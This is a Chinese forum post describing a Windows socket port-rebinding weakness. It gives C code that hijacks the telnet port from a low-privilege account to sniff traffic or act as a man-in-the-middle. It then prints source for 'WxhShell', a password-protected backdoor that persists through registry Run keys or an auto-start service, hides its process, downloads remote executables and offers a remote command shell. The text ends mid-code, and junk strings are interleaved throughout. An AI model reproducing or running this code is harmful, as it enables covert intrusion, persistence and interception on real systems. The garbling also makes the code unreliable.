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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 1WMwTBHy+  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); L?( % *  
h2C1'+Q{9  
  saddr.sin_family = AF_INET; 0kB!EJ<OdG  
,-[dr|.  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); "3Z<V8xB  
Q&Ox\*sMK  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); *|DIG{  
:g[G&Ds8  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。  zOnQ656  
Ug|o ($CY  
  这意味着什么?意味着可以进行如下的攻击: C5jR||  
)wwQv2E  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 T c{]w?V  
=2=n   
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Q9 * N/2+  
1@Zjv>jy[  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 wh<s#q`  
] x_WO_  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Aa;s.:?  
32*FISH^  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 'ehJr/0&g  
j!H\hj/]  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 `y!6(xI  
t"@: a Y"  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 _,M:"3;Z  
#j{!&4M  
  #include L('G1J}  
  #include d#9"_{P  
  #include y`EcBf  
  #include    a+CHrnU\;  
  DWORD WINAPI ClientThread(LPVOID lpParam);   $*{$90 Q  
  int main() i-EFq@xl  
  { c=T^)~$$  
  WORD wVersionRequested; o(/(`/  
  DWORD ret; 3e g<)  
  WSADATA wsaData; $I7/FZP  
  BOOL val; 3 T3p[q4  
  SOCKADDR_IN saddr; YJ`[$0mam  
  SOCKADDR_IN scaddr; wZECG-jr/  
  int err; S)0bu(a`Z,  
  SOCKET s; t;@VsQ8  
  SOCKET sc; Pb|'f(  
  int caddsize; LyB$~wZx~@  
  HANDLE mt; EMe6Z!k  
  DWORD tid;   Gd~Xvw,u  
  wVersionRequested = MAKEWORD( 2, 2 ); ZN2g(  
  err = WSAStartup( wVersionRequested, &wsaData ); t_q`wKDE  
  if ( err != 0 ) { nJ|8#U7  
  printf("error!WSAStartup failed!\n"); .wD>0Ig  
  return -1; #(53YoV_8  
  } "kKIVlC  
  saddr.sin_family = AF_INET; t/bDDV"  
   VT\o=3 _  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 o4b!U%  
ogX'3L  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 4><b3r;T'  
  saddr.sin_port = htons(23); )CzWq}:  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) In0kP"  
  { *a@pZI0'  
  printf("error!socket failed!\n"); K'%,dn  
  return -1; rSD!u0c [  
  } |Mp_qg?g  
  val = TRUE; j:0VtJo~  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 9Osjh G  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) %TUljX K}  
  { ! G%LYHx  
  printf("error!setsockopt failed!\n"); 8Us5Oi  
  return -1; k})Ag7c  
  } QK\QvU2y  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; }B_n}<tjD  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ~$f+]7  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 (9BjZ&ej  
?J+[|*'yK  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ~u&3Ki*x  
  { q0 :Lb  
  ret=GetLastError(); \K)"@gdW  
  printf("error!bind failed!\n"); Y]b5qguK  
  return -1; A>$VkGo  
  } i_4FxC4  
  listen(s,2); ML0o :8Bd\  
  while(1) e:V(kzAY;  
  { ^\cB&<h  
  caddsize = sizeof(scaddr); r+;C}[E  
  //接受连接请求 jz|zq\Eek  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ' %OQd?MhL  
  if(sc!=INVALID_SOCKET) }VE[W  
  { O!z H5  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); GljxYH"]#  
  if(mt==NULL) 0K, *FdA  
  { 0z."6 r  
  printf("Thread Creat Failed!\n"); GD|uU  
  break; )vsiX}3  
  } K,' ]G&K  
  } ,:-S<]fS{_  
  CloseHandle(mt); (^eSm]<  
  } IR>^U  
  closesocket(s); !xMyk>%2  
  WSACleanup(); I?"cEp   
  return 0; Rcf_31 L  
  }   W k'()N  
  DWORD WINAPI ClientThread(LPVOID lpParam) K2L+tw  
  { T"t3e=xA  
  SOCKET ss = (SOCKET)lpParam; +J$[RxQ#  
  SOCKET sc; '@HWp8+  
  unsigned char buf[4096]; s_K:h  
  SOCKADDR_IN saddr; au5 74tj  
  long num; :n>m">4  
  DWORD val; El0|.dW  
  DWORD ret; Og%qv Bj 6  
  //如果是隐藏端口应用的话,可以在此处加一些判断 #:z.Br`  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   DI9x] CR  
  saddr.sin_family = AF_INET; /g'F+{v  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); hH{&k>  
  saddr.sin_port = htons(23); E$f.&<>T  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) %\[LM$f{z  
  { ^o|igyS9  
  printf("error!socket failed!\n"); /bVU^vo  
  return -1; TH)gW  
  } G F,/<R#  
  val = 100; G[6V=G  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Fg Qd7p  
  { 52K3N^RgR  
  ret = GetLastError(); Ve7[U_"  
  return -1; >t?;*K\x"  
  } A[;R_  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) (C,PGjd  
  { V?HC\F-  
  ret = GetLastError(); fT/;TK>z>  
  return -1; =4/lJm``  
  } I9ubVcV8  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) &iL"=\#  
  { 3yDa5q{  
  printf("error!socket connect failed!\n"); [1dlV/  
  closesocket(sc); W:b8m Xx  
  closesocket(ss); <;+&`R  
  return -1; MH`f!%c  
  } EdE,K1gD  
  while(1) k%/Z.4vQG  
  { qWtvo';3  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 5>"$95D  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 O|#^&d  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 )fpZrpLXE  
  num = recv(ss,buf,4096,0);  hPx=3L$  
  if(num>0) : UD<1fh  
  send(sc,buf,num,0); EG59L~nM  
  else if(num==0) }Hrm/Ni  
  break; O@'/B" &  
  num = recv(sc,buf,4096,0); CG@ LYN  
  if(num>0) S*IF/ fu  
  send(ss,buf,num,0); ]gHw;ry  
  else if(num==0) mE%H5&VSI  
  break; m /JpYv~  
  } 4{X5ZS?CkI  
  closesocket(ss); 5)2lZ(5.A#  
  closesocket(sc); :Y0*P  
  return 0 ; +I5@Gys  
  } eL#pS=  
R.!'&<Svq  
y0M^oLx  
========================================================== d5\w'@Di  
c@~\ FUr  
下边附上一个代码,,WXhSHELL 65\'(99y U  
*rK}Ai  
========================================================== O]~cv^  
VW I{ wC  
#include "stdafx.h" h:<p EL  
8U*}D~%!  
#include <stdio.h> siZw-.  
#include <string.h> 7pMrYIP  
#include <windows.h> V?t^ J7{'  
#include <winsock2.h> \e T0d<  
#include <winsvc.h> U{} bx  
#include <urlmon.h> C3u/8Mrt7  
)Pakb!0H@t  
#pragma comment (lib, "Ws2_32.lib") lDnF(  
#pragma comment (lib, "urlmon.lib") s|dcO  
0[7\p\Q  
#define MAX_USER   100 // 最大客户端连接数 ,Za!  
#define BUF_SOCK   200 // sock buffer ^0R.'XL  
#define KEY_BUFF   255 // 输入 buffer PP.QfY4  
* h!gjbi  
#define REBOOT     0   // 重启 {PnvQ?|Z  
#define SHUTDOWN   1   // 关机 Z[R E|l{  
=[FNZ:3  
#define DEF_PORT   5000 // 监听端口 200/  
ly7\H3  
#define REG_LEN     16   // 注册表键长度 "H" 4(3  
#define SVC_LEN     80   // NT服务名长度 ']4b}F:}  
b\Y<1EV^[  
// 从dll定义API WOrz7x  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); )AEJ` xC  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); G?jKm_`L  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); B?`Gs^Y {z  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); O[U^{~iM  
|`1lCyV\tE  
// wxhshell配置信息 mQhI"3! f  
struct WSCFG { 9i*t3W71]  
  int ws_port;         // 监听端口 casva;  
  char ws_passstr[REG_LEN]; // 口令 NBwxN  
  int ws_autoins;       // 安装标记, 1=yes 0=no  SS[jk  
  char ws_regname[REG_LEN]; // 注册表键名 zp:kdN7!^  
  char ws_svcname[REG_LEN]; // 服务名 X9K@mX  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 T ]hVO'z  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 0D+[W5TB  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 F"1)y>2k  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 7+0Kg'^+n  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" c3W9"  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 y4PR&^l?g  
Z,^`R] 9  
}; OS;qb:;  
pwtB{6)VH{  
// default Wxhshell configuration !}<d6&!py  
struct WSCFG wscfg={DEF_PORT, {`2! 3= "  
    "xuhuanlingzhe", T!0o(Pp<  
    1, rkugV&BhV  
    "Wxhshell", 'G;y!<a  
    "Wxhshell", 9E5Ec~l  
            "WxhShell Service", !K-lO{Z^  
    "Wrsky Windows CmdShell Service", wmAZ {  
    "Please Input Your Password: ",  $A]2Iw!&  
  1, 4{=zO(>  
  "http://www.wrsky.com/wxhshell.exe", hO w  
  "Wxhshell.exe" dQT A^m  
    }; {}kE=L5  
tPBr{  
// 消息定义模块 _y*@Hj  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 2$?bLvk  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ebK/cPa8  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; OC34@YUj[  
char *msg_ws_ext="\n\rExit."; (KtuikJ32^  
char *msg_ws_end="\n\rQuit."; _&)^a)Nu  
char *msg_ws_boot="\n\rReboot..."; cH%qoHgx  
char *msg_ws_poff="\n\rShutdown..."; rp^= vfW  
char *msg_ws_down="\n\rSave to "; ~~>`WA\G5,  
bnHQvCO3$  
char *msg_ws_err="\n\rErr!"; :>4pH  
char *msg_ws_ok="\n\rOK!"; un([3r  
a9]F.Jm  
char ExeFile[MAX_PATH]; s.7\?(Lg  
int nUser = 0; r@b M3V_o  
HANDLE handles[MAX_USER];  mo+zq~,M  
int OsIsNt; {9:[nqX  
B3|h$aKC  
SERVICE_STATUS       serviceStatus; P'%#B&LZo  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; dO]N&'P7  
E-gI'qG\(  
// 函数声明 {w:*t)@j  
int Install(void); Wi7!J[ B  
int Uninstall(void); ~Cc%!4f'  
int DownloadFile(char *sURL, SOCKET wsh); h,%`*Qg6  
int Boot(int flag); cq:<,Ke  
void HideProc(void); zG-pqE6  
int GetOsVer(void); fy9mS  
int Wxhshell(SOCKET wsl); _ 3@[S F  
void TalkWithClient(void *cs); Q+@/.qJ  
int CmdShell(SOCKET sock); zntvKOIh  
int StartFromService(void); m}Xb#NAF8  
int StartWxhshell(LPSTR lpCmdLine); Q^13KWvuV  
*nS}1(u]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); a7$-gW"Z(,  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); (zbV-4C  
BNi6I\wa  
// 数据结构和表定义 ^u2unZ9BK!  
SERVICE_TABLE_ENTRY DispatchTable[] = h,-2+}  
{ 8xf]zM"Q  
{wscfg.ws_svcname, NTServiceMain}, YX*NjXL  
{NULL, NULL} 2L!s'^m-  
}; Ao?y2 [sE  
bd|ZhRsL  
// 自我安装 ox:m;-Ml?_  
int Install(void) >A&D/k MO  
{ @}9*rWJIE  
  char svExeFile[MAX_PATH]; 3DjlX*  
  HKEY key; 0\tV@ 6p2=  
  strcpy(svExeFile,ExeFile); % !P^se  
rtM29~c>@  
// 如果是win9x系统,修改注册表设为自启动 )M3} 6^s]  
if(!OsIsNt) { f2h`bO  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Ln-UN$2~F  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); M2Q*#U>6r  
  RegCloseKey(key); oZ]^zzoEcg  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { v7-z<'?s~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $-^ ;Jl  
  RegCloseKey(key); LV}Z[\?   
  return 0; VT ikLuH  
    } ;]gj:6M  
  } ycD.X"  
} 9 +1}8"~  
else { e^!>W %.7Z  
uwI$t[  
// 如果是NT以上系统,安装为系统服务 <Wr n/%tL  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); I{nrOb1G(  
if (schSCManager!=0) q,;8Ka )  
{ ! 2=m |,  
  SC_HANDLE schService = CreateService ]?p 9)d=%<  
  ( %Z~0vwY  
  schSCManager, &VPfI  
  wscfg.ws_svcname, B`<a~V  
  wscfg.ws_svcdisp, ]mzghH:E  
  SERVICE_ALL_ACCESS, y@XE! L  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 9U]3B)h%m  
  SERVICE_AUTO_START, TmviYP gb  
  SERVICE_ERROR_NORMAL, (V(8E%<c  
  svExeFile, G^1 5V'*  
  NULL, G/ sRi wL  
  NULL, ol3].0Vc]  
  NULL, =w!>/#U  
  NULL, !)r1zSY"g  
  NULL pNFVa<D  
  ); DhVO}g)2#  
  if (schService!=0) F ?N+ __o  
  { _a]0<Vm C0  
  CloseServiceHandle(schService); .n\j<Kq  
  CloseServiceHandle(schSCManager); 6 uS;H]nd<  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); c`Q#4e]%_  
  strcat(svExeFile,wscfg.ws_svcname); z(!K8 T  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ?3#L?Cq  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); }1kZF{KD<[  
  RegCloseKey(key); >mAi/TZC  
  return 0; tUGnp'r  
    } m'n<.1;1{j  
  } YMG~k3Yb  
  CloseServiceHandle(schSCManager); 2 xE+"?0  
} 'Lu d=u{  
} MA1y@  
sq rY<@%  
return 1; /OD@Xl];K  
} MV.&GUez{  
#1)#W6 h\  
// 自我卸载 V}aZ}m{J  
int Uninstall(void) *-eDU T|O  
{ %/n#{;c#  
  HKEY key; M o?y4X  
|=u }1G?  
if(!OsIsNt) { rtxG-a56Q  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \yhj{QS.k  
  RegDeleteValue(key,wscfg.ws_regname); 9Zj9e  
  RegCloseKey(key); jp+s[rRc\{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { L#k`>Qn2  
  RegDeleteValue(key,wscfg.ws_regname); % <1&\5f<5  
  RegCloseKey(key); g0-~ %A,  
  return 0; mufXM(  
  } u>\u}c  
} 'z9}I #  
} dKpUw9C#/  
else { 1v~1?+a\2  
9,jFQb(),  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); nPR*mbW  
if (schSCManager!=0) cI\&&<>SlG  
{ Oil~QAd,  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); "'3QKeM1  
  if (schService!=0) ' e:rL.  
  { $!goM~pZ  
  if(DeleteService(schService)!=0) { !d Z:Ih.[{  
  CloseServiceHandle(schService); ]G}:cCpd+a  
  CloseServiceHandle(schSCManager); " ?=$(7uc  
  return 0; fR&x5Ika0  
  } X1XmaO% A  
  CloseServiceHandle(schService); ">FuCvQ  
  } qFE(H1hy  
  CloseServiceHandle(schSCManager); WRqpQEY  
} N{&Hq4^c  
} m)ENj6A>yP  
+JejnG0  
return 1; G`r/ tesW  
} ?_`X8Ok  
G'T: l("l  
// 从指定url下载文件 jaL#  
int DownloadFile(char *sURL, SOCKET wsh) @5j3[e  
{ #_kV o3  
  HRESULT hr; '/F%  ff  
char seps[]= "/"; 2-dEie/{'  
char *token; q uL+UFuM  
char *file; 7r{159&=  
char myURL[MAX_PATH]; |wM<n  
char myFILE[MAX_PATH]; 6<o2 0(?  
8}Cp(z2  
strcpy(myURL,sURL); kYZj^tR  
  token=strtok(myURL,seps); HhB&vi  
  while(token!=NULL) "IJ 9vXI  
  { ==npFjB  
    file=token; ('6sW/F*ab  
  token=strtok(NULL,seps); H;N6X y*~  
  } y:YJv x6&4  
|"+UCAU  
GetCurrentDirectory(MAX_PATH,myFILE); CwaW>(`v  
strcat(myFILE, "\\"); u= Vt3%q  
strcat(myFILE, file); o(stXa  
  send(wsh,myFILE,strlen(myFILE),0); H~; s$!lG  
send(wsh,"...",3,0); (R]b'3,E$  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); n{"e8vQx  
  if(hr==S_OK) u>*d^[zS  
return 0; %9OVw #P  
else Ay|K>8z   
return 1; ,CIsZ1[VS  
KkZS6rD\  
} dmYgv^t  
Z#zXary5s  
// 系统电源模块 E`b<^l`  
int Boot(int flag) Ey&gZ$|&  
{ oAF#bj_f  
  HANDLE hToken; G O[u  
  TOKEN_PRIVILEGES tkp; _F`RwBOjs  
X\1.,]O >  
  if(OsIsNt) { 8X# \T/U  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); \# _w=gs<i  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); AvcN,  
    tkp.PrivilegeCount = 1; IoCi(N;  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; | $D`*  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 7g.3)1  
if(flag==REBOOT) { jJ3dZ<#  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) t_hr${  
  return 0; ^Is#_Z|  
} 15_Px9  
else { +:&|]$8<  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 'wjL7P I  
  return 0; Rg7~?b-  
} $H"(]>~  
  } Xcb'qU!2-^  
  else { >k8FUf(c  
if(flag==REBOOT) { s >7(S%#N  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) H|z:j35\  
  return 0; J0 UF(  
} O^r,H,3S  
else { j[|mC;y.  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ~m&q@ms&  
  return 0; 8F/JOtkGMt  
} 64l(ru<  
} ;uaZp.<um&  
O0QK `F/)*  
return 1; 4||dc}I"E  
} \+>g"';f  
.&rL>A2U  
// win9x进程隐藏模块 N4u-tlA  
void HideProc(void) h 6juX'V  
{ \*\)zj*r  
bj_oA i  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); .-}F~FES  
  if ( hKernel != NULL ) lj 2OOU{  
  {  K2D, *w  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); =6xxZy[  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); wY*tq{7  
    FreeLibrary(hKernel); aK]H(F2#  
  } "p"~fN /I9  
`|e3OCU  
return; u .,l_D_  
} I5#zo,9  
NU%<Ws=  
// 获取操作系统版本 hIFfvUl  
int GetOsVer(void) 94xWMX2  
{ $kxP{0u  
  OSVERSIONINFO winfo; `:kI@TPI_C  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); HB9|AQ4K  
  GetVersionEx(&winfo); ~JTp8E9kw  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) l [ Navw  
  return 1; 5^C.}/#>F  
  else Yl"l|2 :  
  return 0; cc:,,T /i  
} wg=-&-  
p~17cH4~-f  
// 客户端句柄模块 JQH>{OB  
int Wxhshell(SOCKET wsl) =4804N7  
{ et}%E9  
  SOCKET wsh; i7foZ\btFc  
  struct sockaddr_in client; kGW4kuh)/q  
  DWORD myID; /yFs$t >9  
66|$X,  
  while(nUser<MAX_USER) !@9G9<NK  
{ ,Kwtp)EX  
  int nSize=sizeof(client); 15CKcM6  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize);  @"L*!  
  if(wsh==INVALID_SOCKET) return 1; o|nN0z)b4  
9_l WB6  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); :7)lgiM2  
if(handles[nUser]==0) V2IurDE  
  closesocket(wsh); p>= b|Qy|  
else X*e<g=  
  nUser++; zA*I=3E(  
  } 3oMhsQz~z  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); S(Q=2Y  
Qb?e A  
  return 0; */y (~O6  
} .a7!*I#g  
P:fcbfH+  
// 关闭 socket E @7);i5K  
void CloseIt(SOCKET wsh) x#}{z1op9  
{ HB, k}Q  
closesocket(wsh); G$-[(eu -  
nUser--; ;CLOZ{  
ExitThread(0); O^KIB%}fu  
} ?k+>~k{}a  
Fm4)|5  
// 客户端请求句柄 UpS7>c7s  
void TalkWithClient(void *cs) nP#|JRn=  
{ >WmT M0  
8 EUc 6  
  SOCKET wsh=(SOCKET)cs; pvYBhTz0  
  char pwd[SVC_LEN]; k.!m-5E  
  char cmd[KEY_BUFF]; `,$PRN"]  
char chr[1]; }$Z0v`  
int i,j; y-lBaTE9  
dQJ)0!B  
  while (nUser < MAX_USER) { `!@d$*:'  
 r0,XR  
if(wscfg.ws_passstr) { i2X%xYv ^  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); BTDUT%Yfg  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); vY!'@W  
  //ZeroMemory(pwd,KEY_BUFF); V~fPp"F  
      i=0; }N0v_Nas;v  
  while(i<SVC_LEN) { WnL7 A:sZ  
uO5y{O2W  
  // 设置超时 l'twy$V4|~  
  fd_set FdRead; f8S!FGiNc  
  struct timeval TimeOut; 1`)e}p&  
  FD_ZERO(&FdRead); +{au$v}  
  FD_SET(wsh,&FdRead); VRD:PVz  
  TimeOut.tv_sec=8;  |: ,i  
  TimeOut.tv_usec=0; fzjAP7 y  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); GEtzLaq<  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); M6XpauR-  
\`Ow)t:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); T':} p2}w+  
  pwd=chr[0]; 5aJd:36I  
  if(chr[0]==0xd || chr[0]==0xa) { qaiR329fx  
  pwd=0; ph>0?Z =bn  
  break; #H.DnW  
  } A^vvw~!d  
  i++; T&+y~c[au  
    } 1fqJtP6  
%![3?|8~  
  // 如果是非法用户,关闭 socket T,/:5L9  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); =:_DXGW2H  
} a~&euT2  
 ,$(a,`s)  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 2`U+ !  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); D+"+m%^>C  
v4vIcHDs  
while(1) { X ;Cl8  
uYCWsw/  
  ZeroMemory(cmd,KEY_BUFF); :N64FR#  
ff5 e]^,  
      // 自动支持客户端 telnet标准   $3]]<oH  
  j=0; SGP)A(,k9  
  while(j<KEY_BUFF) { 8:fq!m  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Q/`W[Et  
  cmd[j]=chr[0]; V,&A? Y  
  if(chr[0]==0xa || chr[0]==0xd) { qh#?a'  
  cmd[j]=0; wyB  
  break; $[V-M\q  
  } PnZY%+[I  
  j++; *9tRh Rc  
    } _&e$?hY  
s y>}2orj~  
  // 下载文件 `Ha<t.v(  
  if(strstr(cmd,"http://")) { c]68$;Z7  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ]XEUD1N;I  
  if(DownloadFile(cmd,wsh)) 2:G/Oj h&]  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); WB5M ![  
  else zI"1.^Trn  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  }~Ir &   
  } 97vQM  
  else { S!h=HE  
K)W:@,*  
    switch(cmd[0]) { ZKt`>KZ  
  !OV+=Rwdx  
  // 帮助 e#!p6+#"  
  case '?': { 2?@Ozr2Uh  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); S|r,RBeZ  
    break; =w ! 6un  
  } ou=33}uO  
  // 安装 5Kl;(0B9  
  case 'i': { sB wzb  
    if(Install()) .4[M7)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D[dI_|59a  
    else B7( bNr  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  =@! s[  
    break; H1r8n$h  
    } +}iuTqu5  
  // 卸载 b<j*;n.  
  case 'r': { !md1~g$rN  
    if(Uninstall()) 6 #k mV  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "'~&D/7  
    else 5DL(#9F8b9  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .*&F  
    break; &M7AM"9  
    } v)JS4KS  
  // 显示 wxhshell 所在路径 BMb0Pu 8  
  case 'p': { g}$B4_sY  
    char svExeFile[MAX_PATH]; B^Hh rz!  
    strcpy(svExeFile,"\n\r"); $l_\9J913  
      strcat(svExeFile,ExeFile); @3`Pq2<  
        send(wsh,svExeFile,strlen(svExeFile),0); %xdyG Al:  
    break; WHcw5_3#  
    } v;(k7  
  // 重启 Bhk@0\a  
  case 'b': { <OTx79m  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); O? 0`QMY  
    if(Boot(REBOOT)) q +!i6!6r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c~u91h?  
    else { BBa!l e9P  
    closesocket(wsh); YL/B7^fd8  
    ExitThread(0); Hb\['VhzM  
    } b1EY6'R2  
    break; A`*Sx"~jdx  
    } :@~mN7O*  
  // 关机 byPqPSY  
  case 'd': { \?vn0;R4  
